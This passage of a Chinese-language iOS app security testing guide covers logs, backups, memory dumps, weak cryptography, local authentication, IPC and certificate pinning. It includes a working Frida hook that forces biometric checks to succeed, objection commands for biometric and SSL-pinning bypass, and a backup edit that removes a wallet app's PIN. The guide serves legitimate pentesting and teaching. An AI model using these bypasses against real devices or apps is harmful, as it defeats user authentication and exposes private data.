此外,开发人员应确保文本字段,特别是用于输入敏感信息如密码和 PIN 的字段,通过将 `autocorrectionType` 设置为 `UITextAutocorrectionTypeNo` 和 `secureTextEntry` 设置为 `YES` 来禁用缓存。
|
||
```objectivec
|
||
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
|
||
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||
```
|
||
## **日志**
|
||
|
||
调试代码通常涉及使用**日志记录**。这存在风险,因为**日志可能包含敏感信息**。在iOS 6及更早版本中,日志对所有应用程序都是可访问的,这带来了敏感数据泄露的风险。**现在,应用程序被限制只能访问自己的日志**。
|
||
|
||
尽管有这些限制,**具有物理访问权限**的攻击者仍然可以通过将设备连接到计算机并**读取日志**来利用这一点。重要的是要注意,日志在应用程序卸载后仍然保留在磁盘上。
|
||
|
||
为了降低风险,建议**彻底与应用程序互动**,探索其所有功能和输入,以确保没有敏感信息被意外记录。
|
||
|
||
在检查应用程序源代码以寻找潜在泄露时,查找使用关键字如`NSLog`、`NSAssert`、`NSCAssert`、`fprintf`的**预定义**和**自定义日志记录语句**,以及任何提及`Logging`或`Logfile`的自定义实现。
|
||
|
||
### **监控系统日志**
|
||
|
||
应用程序记录各种信息,这些信息可能是敏感的。要监控这些日志,可以使用以下工具和命令:
|
||
```bash
|
||
idevice_id --list # To find the device ID
|
||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||
```
|
||
是有用的。此外,**Xcode** 提供了一种收集控制台日志的方法:
|
||
|
||
1. 打开 Xcode。
|
||
2. 连接 iOS 设备。
|
||
3. 导航到 **Window** -> **Devices and Simulators**。
|
||
4. 选择您的设备。
|
||
5. 触发您正在调查的问题。
|
||
6. 使用 **Open Console** 按钮在新窗口中查看日志。
|
||
|
||
对于更高级的日志记录,连接到设备 shell 并使用 **socat** 可以提供实时日志监控:
|
||
```bash
|
||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||
```
|
||
跟随观察日志活动的命令,这对于诊断问题或识别日志中的潜在数据泄漏非常宝贵。
|
||
|
||
## 备份
|
||
|
||
**自动备份功能**集成在iOS中,通过iTunes(直到macOS Catalina)、Finder(从macOS Catalina开始)或iCloud方便地创建设备数据副本。这些备份几乎涵盖所有设备数据,排除高度敏感的元素,如Apple Pay详细信息和Touch ID配置。
|
||
|
||
### 安全风险
|
||
|
||
**已安装应用及其数据**的备份引发了潜在**数据泄漏**的问题,以及**备份修改可能改变应用功能**的风险。建议**不要在任何应用的目录或其子目录中以明文存储敏感信息**以降低这些风险。
|
||
|
||
### 从备份中排除文件
|
||
|
||
`Documents/`和`Library/Application Support/`中的文件默认会被备份。开发者可以使用`NSURL setResourceValue:forKey:error:`和`NSURLIsExcludedFromBackupKey`来排除特定文件或目录。这一做法对于保护敏感数据不被包含在备份中至关重要。
|
||
|
||
### 测试漏洞
|
||
|
||
要评估应用的备份安全性,首先通过Finder**创建一个备份**,然后根据[Apple的官方文档](https://support.apple.com/en-us/HT204215)找到它。分析备份中可能影响应用行为的敏感数据或配置。
|
||
|
||
可以使用命令行工具或像[iMazing](https://imazing.com)这样的应用程序来寻找敏感信息。对于加密备份,可以通过检查备份根目录中的"Manifest.plist"文件中的"IsEncrypted"键来确认加密的存在。
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||
<plist version="1.0">
|
||
...
|
||
<key>Date</key>
|
||
<date>2021-03-12T17:43:33Z</date>
|
||
<key>IsEncrypted</key>
|
||
<true/>
|
||
...
|
||
</plist>
|
||
```
|
||
对于处理加密备份,DinoSec的GitHub仓库中提供的Python脚本,如**backup_tool.py**和**backup_passwd.py**,可能会有用,但可能需要进行调整以兼容最新的iTunes/Finder版本。另一个访问密码保护备份中文件的选项是[**iOSbackup**工具](https://pypi.org/project/iOSbackup/)。
|
||
|
||
### 修改应用行为
|
||
|
||
通过备份修改来改变应用行为的一个例子是在[Bither比特币钱包应用](https://github.com/bither/bither-ios)中展示的,其中UI锁定PIN存储在`net.bither.plist`的**pin_code**键下。将此键从plist中删除并恢复备份将移除PIN要求,从而提供无限制访问。
|
||
|
||
## 关于敏感数据内存测试的总结
|
||
|
||
在处理存储在应用程序内存中的敏感信息时,限制这些数据的暴露时间至关重要。调查内存内容的两种主要方法是:**创建内存转储**和**实时分析内存**。这两种方法都有其挑战,包括在转储过程或分析过程中可能错过关键数据的风险。
|
||
|
||
## **检索和分析内存转储**
|
||
|
||
对于越狱和非越狱设备,像[objection](https://github.com/sensepost/objection)和[Fridump](https://github.com/Nightbringer21/fridump)这样的工具允许转储应用程序的进程内存。一旦转储,分析这些数据需要各种工具,具体取决于您要搜索的信息的性质。
|
||
|
||
要从内存转储中提取字符串,可以使用`strings`或`rabin2 -zz`等命令:
|
||
```bash
|
||
# Extracting strings using strings command
|
||
$ strings memory > strings.txt
|
||
|
||
# Extracting strings using rabin2
|
||
$ rabin2 -ZZ memory > strings.txt
|
||
```
|
||
对于更详细的分析,包括搜索特定数据类型或模式,**radare2** 提供了广泛的搜索功能:
|
||
```bash
|
||
$ r2 <name_of_your_dump_file>
|
||
[0x00000000]> /?
|
||
...
|
||
```
|
||
## **运行时内存分析**
|
||
|
||
**r2frida** 提供了一种强大的替代方案,用于实时检查应用程序的内存,而无需内存转储。该工具使得可以直接在正在运行的应用程序的内存上执行搜索命令:
|
||
```bash
|
||
$ r2 frida://usb//<name_of_your_app>
|
||
[0x00000000]> /\ <search_command>
|
||
```
|
||
## Broken Cryptography
|
||
|
||
### Poor Key Management Processes
|
||
|
||
一些开发者将敏感数据保存在本地存储中,并使用在代码中硬编码/可预测的密钥进行加密。这是不应该的,因为一些反向工程可能允许攻击者提取机密信息。
|
||
|
||
### Use of Insecure and/or Deprecated Algorithms
|
||
|
||
开发者不应该使用**deprecated algorithms**来执行授权**checks**、**store**或**send**数据。这些算法包括:RC4、MD4、MD5、SHA1……如果**hashes**用于存储密码,例如,应该使用带盐的抗暴力破解**resistant**的hash。
|
||
|
||
### Check
|
||
|
||
主要的检查是查找代码中是否存在**hardcoded**密码/秘密,或者这些是否**predictable**,以及代码是否使用某种**weak** **cryptography**算法。
|
||
|
||
有趣的是,你可以使用**objection**自动**monitor**一些**crypto** **libraries**,方法是:
|
||
```swift
|
||
ios monitor crypt
|
||
```
|
||
对于有关 iOS 加密 API 和库的 **更多信息**,请访问 [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
||
|
||
## 本地身份验证
|
||
|
||
**本地身份验证** 在保护远程端点的访问方面,尤其是通过加密方法,发挥着至关重要的作用。关键在于,如果没有正确的实现,本地身份验证机制可能会被绕过。
|
||
|
||
苹果的 [**本地身份验证框架**](https://developer.apple.com/documentation/localauthentication) 和 [**钥匙串**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) 为开发者提供了强大的 API,以便于用户身份验证对话框的实现和安全处理秘密数据。安全隔离区保护 Touch ID 的指纹 ID,而 Face ID 则依赖于面部识别而不妥协生物识别数据。
|
||
|
||
要集成 Touch ID/Face ID,开发者有两个 API 选择:
|
||
|
||
- **`LocalAuthentication.framework`** 用于高层次的用户身份验证,而不访问生物识别数据。
|
||
- **`Security.framework`** 用于低层次的钥匙串服务访问,通过生物识别认证保护秘密数据。各种 [开源包装器](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) 使钥匙串访问更简单。
|
||
|
||
> [!CAUTION]
|
||
> 然而,`LocalAuthentication.framework` 和 `Security.framework` 都存在漏洞,因为它们主要返回布尔值而不传输用于身份验证过程的数据,使其容易被绕过(参见 [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM))。
|
||
|
||
### 实现本地身份验证
|
||
|
||
为了提示用户进行身份验证,开发者应利用 **`LAContext`** 类中的 **`evaluatePolicy`** 方法,选择:
|
||
|
||
- **`deviceOwnerAuthentication`**:提示输入 Touch ID 或设备密码,如果两者都未启用则失败。
|
||
- **`deviceOwnerAuthenticationWithBiometrics`**:仅提示输入 Touch ID。
|
||
|
||
成功的身份验证通过 **`evaluatePolicy`** 的布尔返回值指示,突显出潜在的安全缺陷。
|
||
|
||
### 使用钥匙串进行本地身份验证
|
||
|
||
在 iOS 应用中实现 **本地身份验证** 涉及使用 **钥匙串 API** 安全存储秘密数据,如身份验证令牌。此过程确保数据只能由用户访问,使用他们的设备密码或生物识别认证,如 Touch ID。
|
||
|
||
钥匙串提供设置带有 `SecAccessControl` 属性的项目的能力,该属性限制对该项目的访问,直到用户通过 Touch ID 或设备密码成功身份验证。此功能对于增强安全性至关重要。
|
||
|
||
以下是 Swift 和 Objective-C 中的代码示例,演示如何利用这些安全功能将字符串保存到钥匙串并从中检索。示例特别展示了如何设置访问控制以要求 Touch ID 身份验证,并确保数据仅在设置的设备上可访问,前提是配置了设备密码。
|
||
|
||
{{#tabs}}
|
||
{{#tab name="Swift"}}
|
||
```swift
|
||
// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md
|
||
|
||
// 1. create AccessControl object that will represent authentication settings
|
||
|
||
var error: Unmanaged<CFError>?
|
||
|
||
guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
|
||
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
|
||
SecAccessControlCreateFlags.biometryCurrentSet,
|
||
&error) else {
|
||
// failed to create AccessControl object
|
||
|
||
return
|
||
}
|
||
|
||
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
|
||
|
||
var query: [String: Any] = [:]
|
||
|
||
query[kSecClass as String] = kSecClassGenericPassword
|
||
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
|
||
query[kSecAttrAccount as String] = "OWASP Account" as CFString
|
||
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
|
||
query[kSecAttrAccessControl as String] = accessControl
|
||
|
||
// 3. save item
|
||
|
||
let status = SecItemAdd(query as CFDictionary, nil)
|
||
|
||
if status == noErr {
|
||
// successfully saved
|
||
} else {
|
||
// error while saving
|
||
}
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="Objective-C"}}
|
||
```objectivec
|
||
// 1. create AccessControl object that will represent authentication settings
|
||
CFErrorRef *err = nil;
|
||
|
||
SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
|
||
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
|
||
kSecAccessControlUserPresence,
|
||
err);
|
||
|
||
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
|
||
NSDictionary* query = @{
|
||
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
|
||
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
|
||
(__bridge id)kSecAttrAccount: @"OWASP Account",
|
||
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
|
||
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
|
||
};
|
||
|
||
// 3. save item
|
||
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);
|
||
|
||
if (status == noErr) {
|
||
// successfully saved
|
||
} else {
|
||
// error while saving
|
||
}
|
||
```
|
||
{{#endtab}}
|
||
{{#endtabs}}
|
||
|
||
现在我们可以从钥匙串请求保存的项目。钥匙串服务将向用户显示身份验证对话框,并根据是否提供了合适的指纹返回数据或nil。
|
||
|
||
{{#tabs}}
|
||
{{#tab name="Swift"}}
|
||
```swift
|
||
// 1. define query
|
||
var query = [String: Any]()
|
||
query[kSecClass as String] = kSecClassGenericPassword
|
||
query[kSecReturnData as String] = kCFBooleanTrue
|
||
query[kSecAttrAccount as String] = "My Name" as CFString
|
||
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
|
||
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString
|
||
|
||
// 2. get item
|
||
var queryResult: AnyObject?
|
||
let status = withUnsafeMutablePointer(to: &queryResult) {
|
||
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
|
||
}
|
||
|
||
if status == noErr {
|
||
let password = String(data: queryResult as! Data, encoding: .utf8)!
|
||
// successfully received password
|
||
} else {
|
||
// authorization not passed
|
||
}
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="Objective-C"}}
|
||
```objectivec
|
||
// 1. define query
|
||
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
|
||
(__bridge id)kSecReturnData: @YES,
|
||
(__bridge id)kSecAttrAccount: @"My Name1",
|
||
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
|
||
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };
|
||
|
||
// 2. get item
|
||
CFTypeRef queryResult = NULL;
|
||
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);
|
||
|
||
if (status == noErr){
|
||
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
|
||
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
|
||
NSLog(@"%@", password);
|
||
} else {
|
||
NSLog(@"Something went wrong");
|
||
}
|
||
```
|
||
{{#endtab}}
|
||
{{#endtabs}}
|
||
|
||
### 检测
|
||
|
||
通过分析应用程序二进制文件的共享动态库列表,也可以检测到应用程序中框架的使用。这可以通过使用 `otool` 来完成:
|
||
```bash
|
||
$ otool -L <AppName>.app/<AppName>
|
||
```
|
||
如果在应用中使用了 `LocalAuthentication.framework`,输出将包含以下两行(请记住,`LocalAuthentication.framework` 在底层使用 `Security.framework`):
|
||
```bash
|
||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||
/System/Library/Frameworks/Security.framework/Security
|
||
```
|
||
如果使用了 `Security.framework`,则只会显示第二个。
|
||
|
||
### 本地身份验证框架绕过
|
||
|
||
#### **Objection**
|
||
|
||
通过位于 [this GitHub page](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) 的 **Objection Biometrics Bypass**,可以使用一种技术来克服 **LocalAuthentication** 机制。该方法的核心在于利用 **Frida** 操作 `evaluatePolicy` 函数,确保其始终返回 `True` 结果,无论实际身份验证是否成功。这对于绕过有缺陷的生物识别身份验证过程特别有用。
|
||
|
||
要激活此绕过,使用以下命令:
|
||
```bash
|
||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
|
||
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
|
||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
|
||
(agent) [3mhtws9x47q] OS authentication response: false
|
||
(agent) [3mhtws9x47q] Marking OS response as True instead
|
||
(agent) [3mhtws9x47q] Biometrics bypass hook complete
|
||
```
|
||
此命令触发一个序列,其中 Objection 注册一个任务,有效地将 `evaluatePolicy` 检查的结果更改为 `True`。
|
||
|
||
#### Frida
|
||
|
||
来自 [DVIA-v2 application](https://github.com/prateek147/DVIA-v2) 的 **`evaluatePolicy`** 使用示例:
|
||
```swift
|
||
+(void)authenticateWithTouchID {
|
||
LAContext *myContext = [[LAContext alloc] init];
|
||
NSError *authError = nil;
|
||
NSString *myLocalizedReasonString = @"Please authenticate yourself";
|
||
|
||
if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
|
||
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
|
||
localizedReason:myLocalizedReasonString
|
||
reply:^(BOOL success, NSError *error) {
|
||
if (success) {
|
||
dispatch_async(dispatch_get_main_queue(), ^{
|
||
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
|
||
});
|
||
} else {
|
||
dispatch_async(dispatch_get_main_queue(), ^{
|
||
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
|
||
});
|
||
}
|
||
}];
|
||
} else {
|
||
dispatch_async(dispatch_get_main_queue(), ^{
|
||
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
|
||
});
|
||
}
|
||
}
|
||
```
|
||
为了实现对本地身份验证的**绕过**,编写了一个Frida脚本。该脚本针对**evaluatePolicy**检查,拦截其回调以确保返回**success=1**。通过改变回调的行为,身份验证检查被有效绕过。
|
||
|
||
下面的脚本被注入以修改**evaluatePolicy**方法的结果。它将回调的结果始终更改为指示成功。
|
||
```swift
|
||
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
|
||
if(ObjC.available) {
|
||
console.log("Injecting...");
|
||
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
|
||
Interceptor.attach(hook.implementation, {
|
||
onEnter: function(args) {
|
||
var block = new ObjC.Block(args[4]);
|
||
const callback = block.implementation;
|
||
block.implementation = function (error, value) {
|
||
|
||
console.log("Changing the result value to true")
|
||
const result = callback(1, null);
|
||
return result;
|
||
};
|
||
},
|
||
});
|
||
} else {
|
||
console.log("Objective-C Runtime is not available!");
|
||
}
|
||
```
|
||
要注入Frida脚本并绕过生物识别认证,使用以下命令:
|
||
```bash
|
||
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
|
||
```
|
||
## 敏感功能通过 IPC 暴露
|
||
|
||
### 自定义 URI 处理程序 / 深度链接 / 自定义方案
|
||
|
||
{{#ref}}
|
||
ios-custom-uri-handlers-deeplinks-custom-schemes.md
|
||
{{#endref}}
|
||
|
||
### 通用链接
|
||
|
||
{{#ref}}
|
||
ios-universal-links.md
|
||
{{#endref}}
|
||
|
||
### UIActivity 共享
|
||
|
||
{{#ref}}
|
||
ios-uiactivity-sharing.md
|
||
{{#endref}}
|
||
|
||
### UIPasteboard
|
||
|
||
{{#ref}}
|
||
ios-uipasteboard.md
|
||
{{#endref}}
|
||
|
||
### 应用扩展
|
||
|
||
{{#ref}}
|
||
ios-app-extensions.md
|
||
{{#endref}}
|
||
|
||
### WebViews
|
||
|
||
{{#ref}}
|
||
ios-webviews.md
|
||
{{#endref}}
|
||
|
||
### 序列化和编码
|
||
|
||
{{#ref}}
|
||
ios-serialisation-and-encoding.md
|
||
{{#endref}}
|
||
|
||
## 网络通信
|
||
|
||
重要的是检查是否存在 **未加密** 的通信,并且应用程序是否正确 **验证服务器的 TLS 证书**。\
|
||
要检查这些问题,可以使用像 **Burp** 这样的代理:
|
||
|
||
{{#ref}}
|
||
burp-configuration-for-ios.md
|
||
{{#endref}}
|
||
|
||
### 主机名检查
|
||
|
||
验证 TLS 证书的一个常见问题是检查证书是否由 **受信任的** **CA** 签名,但 **不检查** **证书的主机名** 是否是正在访问的主机名。\
|
||
为了使用 Burp 检查此问题,在 iPhone 中信任 Burp CA 后,可以 **为不同的主机名创建一个新的 Burp 证书** 并使用它。如果应用程序仍然可以正常工作,那么它就存在漏洞。
|
||
|
||
### 证书钉扎
|
||
|
||
如果应用程序正确使用 SSL 钉扎,则应用程序仅在证书是预期的证书时才能正常工作。在测试应用程序时 **这可能是一个问题,因为 Burp 将提供自己的证书。**\
|
||
为了在越狱设备中绕过此保护,可以安装应用程序 [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) 或安装 [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||
|
||
您还可以使用 **objection's** `ios sslpinning disable`
|
||
|
||
## 杂项
|
||
|
||
- 在 **`/System/Library`** 中可以找到系统应用使用的框架
|
||
- 用户从 App Store 安装的应用程序位于 **`/User/Applications`**
|
||
- **`/User/Library`** 包含用户级应用程序保存的数据
|
||
- 您可以访问 **`/User/Library/Notes/notes.sqlite`** 以读取应用程序中保存的笔记。
|
||
- 在已安装应用程序的文件夹中 (**`/User/Applications/<APP ID>/`**) 您可以找到一些有趣的文件:
|
||
- **`iTunesArtwork`**:应用程序使用的图标
|
||
- **`iTunesMetadata.plist`**:在 App Store 中使用的应用程序信息
|
||
- **`/Library/*`**:包含首选项和缓存。在 **`/Library/Cache/Snapshots/*`** 中,您可以找到在将应用程序发送到后台之前对其进行的快照。
|
||
|
||
### 热补丁/强制更新
|
||
|
||
开发人员可以 **立即修补其应用程序的所有安装**,而无需重新提交应用程序到 App Store 并等待批准。\
|
||
为此,通常使用 [**JSPatch**](https://github.com/bang590/JSPatch)**.** 但还有其他选项,如 [Siren](https://github.com/ArtSabintsev/Siren) 和 [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)。\
|
||
**这是一种危险的机制,可能被恶意第三方 SDK 滥用,因此建议检查用于自动更新的方法(如果有的话)并进行测试。** 您可以尝试下载该应用程序的先前版本以此目的。
|
||
|
||
### 第三方
|
||
|
||
**第三方 SDK** 的一个重大挑战是 **缺乏对其功能的细粒度控制**。开发人员面临选择:要么集成 SDK 并接受其所有功能,包括潜在的安全漏洞和隐私问题,要么完全放弃其好处。通常,开发人员无法自行修补这些 SDK 中的漏洞。此外,随着 SDK 在社区中获得信任,一些 SDK 可能开始包含恶意软件。
|
||
|
||
第三方 SDK 提供的服务可能包括用户行为跟踪、广告展示或用户体验增强。然而,这带来了风险,因为开发人员可能并不完全了解这些库执行的代码,从而导致潜在的隐私和安全风险。限制与第三方服务共享的信息仅限于必要的信息,并确保没有敏感数据被暴露是至关重要的。
|
||
|
||
第三方服务的实现通常有两种形式:独立库或完整 SDK。为了保护用户隐私,与这些服务共享的任何数据都应 **匿名化** 以防止泄露个人可识别信息(PII)。
|
||
|
||
要识别应用程序使用的库,可以使用 **`otool`** 命令。此工具应针对应用程序及其使用的每个共享库运行,以发现其他库。
|
||
```bash
|
||
otool -L <application_path>
|
||
```
|
||
## 有趣的漏洞与案例研究
|
||
|
||
{{#ref}}
|
||
air-keyboard-remote-input-injection.md
|
||
{{#endref}}
|
||
|
||
## **参考资料与更多资源**
|
||
|
||
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
|
||
- [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
|
||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/)
|
||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/)
|
||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/)
|
||
- [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
|
||
- [https://coderwall.com/p/kjb3lw/storing-password-in-keychain-the-smart-way](https://coderwall.com/p/kjb3lw/storing-password-in-keychain-the-smart-way)
|
||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0055/](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0055/)
|
||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0053](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0053)
|
||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0060/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0060/)
|
||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0058](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0058)
|
||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0060](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0060)
|
||
- [https://mas.owasp.org/MASTG/Android/0x05f-Testing-Local-Authentication/](https://mas.owasp.org/MASTG/Android/0x05f-Testing-Local-Authentication/)
|
||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
|
||
- [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
|
||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
|
||
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS 免费课程([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
|
||
- [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
|
||
- [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
|
||
- [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
|
||
- [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2)
|
||
- [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground)
|
||
- OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-C 版本 [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swift 版本
|
||
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|